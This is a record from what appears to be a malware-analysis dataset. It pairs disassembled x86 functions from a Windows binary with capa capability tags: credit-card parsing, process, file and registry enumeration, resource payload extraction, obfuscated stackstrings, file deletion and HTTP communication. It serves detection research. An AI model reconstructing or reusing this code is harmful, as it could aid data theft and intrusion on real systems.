joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018b2
Capabilities:
Parse credit card information

Disassembly:
push 0x20
mov eax, 0x42577f
call fcn.00414d9d
mov ebx, dword [ebp + 8]
and dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 4], 1
lea edi, [ebp - 0x24]
mov esi, 0x42e86c
mov ecx, ebx
push 0x42e825
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.004020a7
mov edi, dword [ebp + 0x1c]
xor esi, esi
mov dword [ebp - 0x28], 1
test edi, edi
jle 0x401aa1
mov ecx, dword [ebp + 0x20]
lea eax, [ebp + 0xc]
mov edx, dword [ebp + 0xc]
cmp ecx, 0x10
cmovae eax, edx
cmp byte [eax + esi], 0x25
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x24
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x26
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x2b
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x2c
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x2f
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x3a
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x5b
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x5d
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x5c
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x3b
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x3d
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x3f
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x40
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x23
je 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x20
jl 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x7e
jg 0x401a4b
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
cmp byte [eax + esi], 0x20
jne 0x401a3c
push 0x2b
jmp 0x401a8f
cmp ecx, 0x10
lea eax, [ebp + 0xc]
cmovae eax, edx
movzx eax, byte [eax + esi]
jmp 0x401a8e
push 0x25
push 1
mov ecx, ebx
call fcn.00401c47
cmp dword [ebp + 0x20], 0x10
lea eax, [ebp + 0xc]
mov ecx, ebx
cmovae eax, dword [ebp + 0xc]
movzx eax, byte [eax + esi]
shr eax, 4
movzx eax, byte [ebp + eax - 0x24]
push eax
push 1
call fcn.00401c47
cmp dword [ebp + 0x20], 0x10
lea eax, [ebp + 0xc]
cmovae eax, dword [ebp + 0xc]
movsx eax, byte [eax + esi]
and eax, 0xf
movzx eax, byte [ebp + eax - 0x24]
push eax
push 1
mov ecx, ebx
call fcn.00401c47
inc esi
cmp esi, edi
jl 0x4018fc
push 0
push 1
lea ecx, [ebp + 0xc]
call fcn.00402143
mov eax, ebx
call fcn.00414d4c
ret 0x1c
Function at 0x4022ff
Capabilities:
Create thread

Disassembly:
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edi, edi
mov dword [0x436594], eax
mov ebx, 0x436598
mov dword [0x43658c], edi
push ebx
push edi
push edi
push 0x4022a4
push edi
push edi
mov dword [0x436588], edi
mov dword [0x436590], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x436584], eax
test eax, eax
je 0x402363
cmp dword [0x43658c], edi
jne 0x402363
cmp dword [0x436590], edi
jne 0x402363
call fcn.004021b0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x436584], edi
jne 0x40233e
push ebx
push edi
push dword [0x436588]
push 0x402277
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push dword [0x436584]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
ret

Function at 0x402595
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x634
mov eax, dword [0x434080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor ebx, ebx
lea eax, [ebp - 0x107]
push 0x103
push ebx
push eax
mov byte [ebp - 0x108], bl
call fcn.00412ec0
add esp, 0xc
mov dword [ebp - 0x614], 0x104
lea eax, [ebp - 0x620]
mov dword [ebp - 0x60c], ebx
mov edi, SysReAllocString
push eax
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x624]
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x630]
push eax
lea eax, [ebp - 0x628]
push eax
lea eax, [ebp - 0x60c]
push eax
push ebx
lea eax, [ebp - 0x614]
push eax
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp dword [ebp - 0x60c], ebx
je 0x4026be
push esi
push dword [ebp - 0x60c]
lea eax, [ebp - 0x608]
push 0x42e9c8
push 0xffffffffffffffff
push 0x400
push eax
call fcn.004108c5
lea eax, [ebp - 0x608]
push eax
push 0x42e9cc
call fcn.00410ced
add esp, 0x1c
mov esi, ebx
cmp dword [ebp - 0x60c], ebx
jbe 0x4026bd
lea eax, [ebp - 0x620]
mov dword [ebp - 0x610], 0xff
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x610]
push eax
lea eax, [ebp - 0x208]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x4026b4
lea eax, [ebp - 0x208]
push eax
push 0x42e9d0
call fcn.00410ced
pop ecx
pop ecx
inc esi
cmp esi, dword [ebp - 0x60c]
jb 0x402673
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040ffb2
mov esp, ebp
pop ebp
ret
Function at 0x4026ce
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x454
mov eax, dword [0x434080]
xor eax, esp
mov dword [esp + 0x450], eax
push esi
push 0x104
lea eax, [esp + 0x24c]
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4027b3
push esi
push esi
push esi
push esi
mov esi, 0x100
lea eax, [esp + 0x360]
push esi
push eax
push 3
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x268]
push eax
call fcn.00410d9c
lea eax, [esp + 0x374]
push eax
lea eax, [esp + 0x2c]
push eax
push 0x42e9d4
push 0xffffffffffffffff
lea eax, [esp + 0x17c]
push esi
push eax
call fcn.004108c5
add esp, 0x3c
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4027b3
test byte [esp + 8], 0x10
lea eax, [esp + 0x34]
je 0x402786
push eax
push 0x42e9dc
call fcn.00410ced
pop ecx
pop ecx
jmp 0x40279c
push dword [esp + 0x24]
push dword [esp + 0x2c]
push eax
push str._s_ld
call fcn.00410ced
add esp, 0x10
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40276c
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x454]
pop esi
xor ecx, esp
call fcn.0040ffb2
mov esp, ebp
pop ebp
ret

Function at 0x4027c6
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1114
call fcn.00413cd0
mov eax, dword [0x434080]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1114]
push eax
push 0x1000
lea eax, [ebp - 0x1108]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
je 0x4028b5
push esi
mov esi, dword [ebp - 0x1114]
push edi
shr esi, 2
xor edi, edi
test esi, esi
je 0x4028b3
push ebx
mov ebx, dword [ebp + edi*4 - 0x1108]
test ebx, ebx
je 0x4028a9
push 0x103
lea eax, [ebp - 0x107]
mov byte [ebp - 0x108], 0
push 0
push eax
call fcn.00412ec0
add esp, 0xc
push ebx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x40288f
and dword [ebp - 0x1110], 0
lea eax, [ebp - 0x1110]
push eax
push 4
lea eax, [ebp - 0x110c]
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x40288f
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x110c]
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameA]
lea eax, [ebp - 0x108]
push eax
push 0x42e9f0
call fcn.00410ced
pop ecx
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, esi
jb 0x402814
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ffb2
mov esp, ebp
pop ebp
ret
Function at 0x403249
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42590f
mov eax, dword fs:[0]
push eax
sub esp, 0x730
mov eax, dword [0x434080]
xor eax, esp
mov dword [esp + 0x728], eax
push ebx
push esi
push edi
mov eax, dword [0x434080]
xor eax, esp
push eax
lea eax, [esp + 0x740]
mov dword fs:[0], eax
push str.MULTIMEDIA
push 0x80
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x4032a9
xor al, al
jmp 0x40336d
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4032a2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x4032a2
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0x42eee0
lea ecx, [esp + 0x20]
mov esi, eax
call fcn.0040afe0
mov ecx, eax
mov dword [esp + 0x748], ebx
call fcn.0040b360
push eax
push esi
push edi
lea ecx, [esp + 0x78]
call fcn.0040b530
or dword [esp + 0x748], 0xffffffff
lea ecx, [esp + 0x1c]
call fcn.0040b0e0
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x18]
push eax
push 1
lea ecx, [esp + 0x78]
call fcn.0040b6f0
lea ecx, [esp + 0x6c]
call fcn.0040b5d0
mov eax, dword [esp + 0x18]
push eax
mov dword [0x4365b4], eax
call fcn.0040fe08
mov ecx, dword [0x4365b4]
push ecx
push dword [esp + 0x1c]
mov dword [0x4365b8], eax
push ecx
push eax
call fcn.00410fe0
push dword [0x4365b4]
push dword [0x4365b8]
call fcn.0040c000
push dword [esp + 0x30]
mov dword [0x4365bc], eax
call fcn.00410011
add esp, 0x20
mov al, 1
mov ecx, dword [esp + 0x740]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x728]
xor ecx, esp
call fcn.0040ffb2
mov esp, ebp
pop ebp
ret
Function at 0x403391
Capabilities:
Delete directory
Delete file
Get common file path
Get program files directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd10
mov eax, dword [0x434080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp - 0x107]
push 0x103
push ebx
push eax
mov byte [ebp - 0x108], bl
call fcn.00412ec0
mov esi, 0x3ff
mov byte [ebp - 0x508], bl
push esi
lea eax, [ebp - 0x507]
push ebx
push eax
call fcn.00412ec0
push esi
lea eax, [ebp - 0x907]
mov byte [ebp - 0x908], bl
push ebx
push eax
call fcn.00412ec0
push esi
lea eax, [ebp - 0xd07]
mov byte [ebp - 0xd08], bl
push ebx
push eax
call fcn.00412ec0
lea eax, [ebp - 0xd0c]
push eax
call fcn.0041138c
mov eax, dword [ebp - 0xd0c]
lea ecx, [ebp - 0x508]
add esp, 0x34
xor edx, edx
push 5
pop esi
div esi
add edx, esi
call fcn.004053b4
push ebx
push 0x2a
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x508]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x908]
push 0x42ef64
push eax
call fcn.00404be3
mov eax, dword [ebp - 0xd0c]
lea ecx, [ebp - 0x508]
xor edx, edx
div esi
add edx, esi
call fcn.004053b4
lea eax, [ebp - 0x508]
push eax
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0xd08]
push 0x42ef6c
push eax
call fcn.00404be3
add esp, 0x20
push 0x32
pop edi
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0xd08]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0x1e
cmp esi, 0xffffffff
je 0x4034e9
pop edx
lea ecx, [ebp - 0x508]
call fcn.004053b4
push ebx
lea eax, [ebp - 0xd10]
push eax
push 0x1e
lea eax, [ebp - 0x508]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403509
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x908]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0xd08]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
dec edi
jne 0x403497
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ffb2
mov esp, ebp
pop ebp
ret
Function at 0x403843
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x425a00
mov eax, dword fs:[0]
push eax
sub esp, 0xb60
mov eax, dword [0x434080]
xor eax, esp
mov dword [esp + 0xb58], eax
push ebx
push esi
push edi
mov eax, dword [0x434080]
xor eax, esp
push eax
lea eax, [esp + 0xb70]
mov dword fs:[0], eax
push 0x104
lea eax, [esp + 0x260]
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x403a75
lea eax, [esp + 0x25c]
push 0x42ef84
push eax
call fcn.00411206
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4038d9
mov edi, 0x42f0bc
lea ecx, [esi + 1]
push edi
push ecx
jmp 0x4038cc
mov esi, eax
inc eax
push edi
push eax
call fcn.00411206
pop ecx
pop ecx
test eax, eax
jne 0x4038c7
mov byte [esi], bl
push 0x103
lea eax, [esp + 0x159]
mov byte [esp + 0x158], bl
push ebx
push eax
call fcn.00412ec0
push 0x7ff
lea eax, [esp + 0x375]
mov byte [esp + 0x374], bl
push ebx
push eax
call fcn.00412ec0
add esp, 0x18
lea ecx, [esp + 0x64]
push 0x42f204
call fcn.0040afe0
push 0x104
lea eax, [esp + 0x158]
mov dword [esp + 0xb7c], ebx
push eax
lea ecx, [esp + 0x6c]
call fcn.0040b360
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
dec eax
cmp eax, 0x102
ja 0x403a64
push 0x42f218
lea ecx, [esp + 0x18]
call fcn.0040afe0
lea ecx, [esp + 0x25c]
mov byte [esp + 0xb78], 1
push ecx
mov ecx, eax
call fcn.0040b360
push eax
lea eax, [esp + 0x36c]
push 0x800
push eax
call fcn.004108e4
add esp, 0x10
mov byte [esp + 0xb78], bl
lea ecx, [esp + 0x14]
call fcn.0040b0e0
push 0x42f274
lea ecx, [esp + 0x108]
call fcn.0040afe0
mov ecx, eax
mov byte [esp + 0xb78], 2
call fcn.0040b360
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x104]
mov byte [esp + 0xb78], bl
mov esi, eax
call fcn.0040b0e0
test esi, esi
je 0x403a64
push 0x42f290
lea ecx, [esp + 0x18]
call fcn.0040afe0
push 0x42f29c
lea ecx, [esp + 0xb8]
mov byte [esp + 0xb7c], 3
call fcn.0040afe0
mov ecx, eax
mov byte [esp + 0xb78], 4
call fcn.0040b360
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0xb4]
mov byte [esp + 0xb78], 3
mov esi, eax
call fcn.0040b0e0
test esi, esi
je 0x403a54
push ebx
push ebx
lea eax, [esp + 0x36c]
push eax
lea eax, [esp + 0x160]
push eax
lea ecx, [esp + 0x24]
call fcn.0040b360
push eax
push ebx
call esi
lea ecx, [esp + 0x14]
mov byte [esp + 0xb78], bl
call fcn.0040b0e0
or dword [esp + 0xb78], 0xffffffff
lea ecx, [esp + 0x64]
call fcn.0040b0e0
mov ecx, dword [esp + 0xb70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb58]
xor ecx, esp
call fcn.0040ffb2
mov esp, ebp
pop ebp
ret
Function at 0x404f76
Capabilities:
Enumerate processes on remote desktop session host

Disassembly:
push 0x50
mov eax, 0x425b1a
call fcn.00414d9d
mov ebx, ecx
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
push 1
push 0
push 0
call dword [sym.imp.WTSAPI32.dll_WTSEnumerateProcessesA]
test eax, eax
je 0x4050f4
and dword [ebp - 0x48], 0
cmp dword [ebp - 0x3c], 0
jbe 0x4050f4
xor ecx, ecx
mov dword [ebp - 0x44], ecx
mov esi, dword [ebp - 0x40]
lea edi, [ebp - 0x5c]
push 8
xor eax, eax
lea esi, [ecx + esi]
movsd dword es:[edi], dword [esi]
pop ecx
push 8
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x34], 0
lea edi, [ebp - 0x33]
rep stosd dword es:[edi], eax
pop ecx
mov eax, 0x3f3f3f3f
lea edi, [ebp - 0x34]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x54]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404fe1
sub ecx, edx
cmp ecx, 0x10
jae 0x405000
mov ecx, dword [ebp - 0x54]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404ff5
sub ecx, edx
jmp 0x405003
push 0x10
pop ecx
push ecx
push 0
push dword [ebp - 0x54]
lea eax, [ebp - 0x34]
push eax
call fcn.00411b90
lea ecx, [ebp - 0x34]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40501b
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00411d7e
push 0x6c
call fcn.00410874
mov esi, eax
add esp, 0xc
mov dword [ebp - 0x4c], esi
and dword [ebp - 4], 0
test esi, esi
je 0x405051
mov ecx, esi
call fcn.0040e7d0
jmp 0x405053
xor esi, esi
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x34]
push 0x20
push eax
mov ecx, esi
call fcn.0040f090
mov ecx, esi
call fcn.0040e6e0
push 0x10
call fcn.0040fe08
push 0x10
lea ecx, [esi + 0x58]
mov edi, eax
push ecx
push 0x10
push edi
mov dword [ebp - 0x38], edi
call fcn.00410fe0
mov ecx, dword [ebx + 4]
lea eax, [ebp - 0x38]
add esp, 0x14
cmp eax, ecx
jae 0x4050ba
cmp dword [ebx], eax
ja 0x4050ba
mov edi, eax
sub edi, dword [ebx]
sar edi, 2
cmp ecx, dword [ebx + 8]
jne 0x4050aa
push ecx
mov ecx, ebx
call fcn.0040518f
mov ecx, dword [ebx + 4]
test ecx, ecx
je 0x4050d0
mov eax, dword [ebx]
mov eax, dword [eax + edi*4]
mov dword [ecx], eax
jmp 0x4050d0
cmp ecx, dword [ebx + 8]
jne 0x4050c7
push ecx
mov ecx, ebx
call fcn.0040518f
mov eax, dword [ebx + 4]
test eax, eax
je 0x4050d0
mov dword [eax], edi
add dword [ebx + 4], 4
push esi
call fcn.0040ffc1
mov edx, dword [ebp - 0x48]
pop ecx
mov ecx, dword [ebp - 0x44]
inc edx
add ecx, 0x10
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x44], ecx
cmp edx, dword [ebp - 0x3c]
jb 0x404fb3
push dword [ebp - 0x40]
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
call fcn.00414d4c
ret
Function at 0x40580b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x4c0
mov eax, 0x425bcd
call fcn.00414d9d
mov ebx, ecx
push 0xf
xor edx, edx
mov dword [ebp - 0x4cc], ebx
pop ecx
mov dword [ebx + 0x14], ecx
mov dword [ebx + 0x10], edx
mov byte [ebx], dl
mov dword [ebp - 4], edx
mov dword [ebx + 0x30], ecx
mov dword [ebx + 0x2c], edx
mov byte [ebx + 0x1c], dl
mov byte [ebp - 4], 1
lea eax, [ebp - 0x28]
push eax
mov byte [ebx + 0x18], dl
mov dword [ebx + 0x34], edx
mov dword [ebx + 0x38], edx
mov word [ebp - 0x18], 0x6c6c
mov word [ebp - 0x28], 0x534e
mov dword [ebp - 0x25], 0x6e495f53
mov dword [ebp - 0x1f], 0x4d282063
mov word [ebp - 0x15], 0x29
mov word [ebp - 0x21], 0x7465
mov word [ebp - 0x1b], 0x7a6f
mov byte [ebp - 0x26], 0x49
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x16], 0x61
call fcn.0040208a
pop ecx
push eax
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.00402011
push 0x42f910
lea ecx, [ebp - 0x4c8]
call fcn.0040afe0
mov edi, eax
push 0x42f938
lea ecx, [ebp - 0x478]
mov byte [ebp - 4], 2
call fcn.0040afe0
mov esi, eax
mov ecx, edi
mov byte [ebp - 4], 3
call fcn.0040b360
push eax
mov ecx, esi
call fcn.0040b360
push eax
lea eax, [ebp - 0x428]
push 0x400
push eax
call fcn.004108e4
add esp, 0x10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x478]
call fcn.0040b0e0
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 1
call fcn.0040b0e0
lea edx, [ebp - 0x428]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x40590d
sub edx, ecx
lea eax, [ebp - 0x428]
push edx
push eax
lea ecx, [ebx + 0x1c]
call fcn.00402011
mov eax, ebx
call fcn.00414d4c
ret
Function at 0x405d83
Capabilities:
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push 0x47c
mov eax, 0x425d36
call fcn.00414d9d
mov edi, ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf
mov dword [ebp - 0x488], eax
xor eax, eax
pop edx
mov bl, al
mov dword [ebp - 0x44c], edx
mov dword [ebp - 0x450], eax
mov byte [ebp - 0x460], al
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], edx
mov dword [ebp - 0x420], eax
mov byte [ebp - 0x430], al
lea eax, [ebp - 0x430]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x484]
push eax
lea edx, [ebp - 0x47c]
call fcn.004059ba
add esp, 0xc
test al, al
je 0x405fcf
mov ecx, dword [ebp - 0x47c]
xor esi, esi
inc esi
call fcn.00406430
test al, al
je 0x405e1d
mov ecx, edi
call fcn.00406344
xor ecx, ecx
test al, al
cmove esi, ecx
push esi
push dword [ebp - 0x484]
lea eax, [ebp - 0x460]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401cea
mov ecx, edi
call fcn.0040592e
cmp byte [edi + 0x18], 0
je 0x405fc8
xor esi, esi
lea ecx, [ebp - 0x478]
cmp dword [ebp - 0x47c], 1
mov eax, 0x803000
cmove esi, eax
call fcn.00405d67
cmp dword [ebp - 0x41c], 0x10
lea ecx, [ebp - 0x430]
cmovae ecx, dword [ebp - 0x430]
cmp dword [eax + 0x14], 0x10
jb 0x405e7e
mov eax, dword [eax]
xor edx, edx
push edx
push esi
push edx
push edx
push str.HTTP_1.0
push ecx
push eax
push dword [edi + 0x38]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push 0
push 1
lea ecx, [ebp - 0x478]
mov esi, eax
call fcn.00402143
test esi, esi
je 0x405fc1
cmp dword [ebp - 0x47c], 1
jne 0x405ef3
lea eax, [ebp - 0x484]
mov dword [ebp - 0x484], 4
push eax
lea eax, [ebp - 0x47c]
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
or dword [ebp - 0x47c], 0x100
lea eax, [ebp - 0x47c]
push 4
push eax
push 0x1f
push esi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
xor eax, eax
push eax
push eax
push eax
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x405fc1
xor eax, eax
mov byte [ebp - 0x47d], 1
mov dword [ebp - 0x434], 0xf
mov dword [ebp - 0x438], eax
mov byte [ebp - 0x448], al
mov byte [ebp - 4], 2
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 0x47c], eax
jmp 0x405f76
mov eax, dword [ebp - 0x47c]
test eax, eax
je 0x405f90
cmp eax, 0x401
jae 0x405ff7
mov byte [ebp + eax - 0x418], 0
lea eax, [ebp - 0x418]
push eax
call fcn.0040208a
pop ecx
push eax
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x448]
call fcn.00406993
lea eax, [ebp - 0x47c]
push eax
push 0x400
lea eax, [ebp - 0x418]
push eax
push esi
call ebx
test eax, eax
jne 0x405f39
mov eax, dword [ebp - 0x488]
lea ecx, [ebp - 0x448]
cmp eax, ecx
je 0x405fac
push 0xffffffffffffffff
push 0
push ecx
mov ecx, eax
call fcn.00401dfc
push 0
push 1
lea ecx, [ebp - 0x448]
call fcn.00402143
mov bl, byte [ebp - 0x47d]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, edi
call fcn.00405991
push 0
push 1
lea ecx, [ebp - 0x430]
call fcn.00402143
push 0
push 1
lea ecx, [ebp - 0x460]
call fcn.00402143
mov al, bl
call fcn.00414d4c
ret 0x10
call fcn.0041014e
int3
Function at 0x406344
Capabilities:
Check http status code
Contain obfuscated stackstrings
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x434080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xe], 0x656c676f
inc eax
mov dword [ebp - 0xa], 0x6d6f632e
push eax
push 0x50
sub esp, 0x18
mov word [ebp - 0x10], 0x6f67
mov edi, ecx
lea eax, [ebp - 0x10]
mov ecx, esp
xor ebx, ebx
mov byte [ebp - 6], bl
push eax
call fcn.004020a7
mov ecx, edi
call fcn.0040592e
cmp byte [edi + 0x18], bl
je 0x406416
lea ecx, [ebp - 0x28]
call fcn.00405d67
cmp dword [eax + 0x14], 0x10
jb 0x4063a6
mov eax, dword [eax]
push ebx
push ebx
push ebx
push ebx
push 0x42fa48
push 0x42fa54
push eax
push dword [edi + 0x38]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
lea ecx, [ebp - 0x28]
xor eax, eax
push ebx
inc eax
push eax
call fcn.00402143
test esi, esi
je 0x40640f
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x40640f
push ebx
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x30], ebx
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], 4
push eax
push 0x20000013
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x30], 0xc8
push 1
movzx ebx, bl
pop ecx
cmove ebx, ecx
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, edi
call fcn.00405991
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ffb2
mov esp, ebp
pop ebp
ret